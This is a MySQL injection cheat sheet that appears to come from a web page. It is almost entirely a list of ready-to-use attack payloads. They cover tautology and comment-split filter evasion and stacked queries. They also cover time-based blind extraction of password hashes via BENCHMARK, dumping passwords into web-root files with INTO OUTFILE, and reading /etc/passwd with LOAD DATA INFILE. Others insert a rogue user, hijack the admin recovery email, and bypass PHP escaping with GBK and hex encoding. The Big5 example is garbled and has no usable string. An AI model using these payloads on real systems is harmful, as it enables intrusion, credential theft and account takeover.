MySQL Injection Cheat Sheet
Basics.
1
2
3
| SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"
|
Variations.
1
2
| SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"
|
SHOW TABLES
1
2
3
4
5
| SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES
SELECT VERSION
SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()
SELECT host,user,db from mysql.db
SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;
|
Blind injection vectors.
- Operators
1
2
3
| SELECT 1 && 1;
SELECT 1 || 1;
SELECT 1 XOR 0;
|
- Evaluate
1
2
3
4
| all render TRUE or 1.
SELECT 0.1 <= 2;
SELECT 2 >= 2;
SELECT ISNULL(1/0);
|
- Math
1
2
| SELECT FLOOR(7 + (RAND() * 5));
SELECT ROUND(23.298, -1);
|
- Misc
1
2
| SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
SELECT MD5('abc');
|
- Benchmark
1
2
3
4
5
6
7
8
| SELECT BENCHMARK(10000000,ENCODE('abc','123'));
this takes around 5 sec on a localhost
SELECT BENCHMARK(1000000,MD5(CHAR(116)))
this takes around 7 sec on a localhost
SELECT BENCHMARK(10000000,MD5(CHAR(116)))
this takes around 70 sec on a localhost
|
- Using the timeout to check if user exists
1
2
| SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login
Beware of of the N rounds, add an extra zero and it could stall or crash your browser!
|
Gathering info
- Table mapping
1
| SELECT COUNT(*) FROM tablename
|
- Field mapping
1
2
3
4
| SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user LIKE "%"
SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;
|
- User mapping
1
2
3
| SELECT * FROM tablename WHERE email = 'user@site.com';
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user = 'username'
|
Advanced SQL vectors
- Writing info into files
1
2
| SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'
|
- Writing info into files without single quotes: (example)
1
2
3
4
5
6
| SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO
OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(
39))
Note: You must specify a new file, it may not exist! and give the correct pathname!
|
- The CHAR() quoteless function
1
2
3
4
| SELECT * FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
SELECT * FROM login WHERE user = CHAR(39,97,39)
|
- Extracting hashes
1
2
3
| SELECT user FROM login WHERE user = 'root'
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login
|
example:
1
2
3
4
5
6
7
| SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login
SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5('x')),null) FROM login
|
- explaining: (passwordfield,startcharacter,selectlength)
1
2
3
| is like: (password,1,2) this selects: ‘ab’
is like: (password,1,3) this selects: ‘abc’
is like: (password,1,4) this selects: ‘abcd’
|
- A quoteless example:
1
2
3
4
5
6
| SELECT user FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login
Possible chars: 0 to 9 ? ASCII 48 to 57 ~ a to z ? ASCII 97 to 122
|
Misc
- Insert a new user into DB
1
| INSERT INTO login SET user = 'r00t', pass = 'abc'
|
- Retrieve /etc/passwd file, put it into a field and insert a new user
1
2
3
4
| load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user =
'r00t', pass = 'abc'
Then login!
|
- Write the DB user away into tmp
1
| SELECT host,user,password FROM user into outfile '/tmp/passwd';
|
- Change admin e-mail, for “forgot login retrieval.”
1
| UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';
|
Bypassing PHP functions
(MySQL 4.1.x before 4.1.20 and 5.0.x)
- Bypassing addslashes() with GBK encoding
1
| WHERE x = 0xbf27admin 0xbf27
|
- Bypassing mysql_real_escape_string() with BIG5 or GBK
1
2
3
4
| "injection string"
に?する追加情報:
the above chars are Chinese Big5
|
Advanced Vectors
Using an HEX encoded query to bypass escaping.
1
2
3
4
5
| Normal:
SELECT * FROM login WHERE user = 'root'
Bypass:
SELECT * FROM login WHERE user = 0x726F6F74
|
Inserting a new user in SQL.
1
2
3
4
5
| Normal:
insert into login set user = ‘root’, pass = ‘root’
Bypass:
insert into login set user = 0x726F6F74, pass = 0x726F6F74
|
How to determin the HEX value for injection.
1
2
3
4
5
6
7
8
| SELECT HEX('root');
gives you:
726F6F74
then add:
0x
before it.
|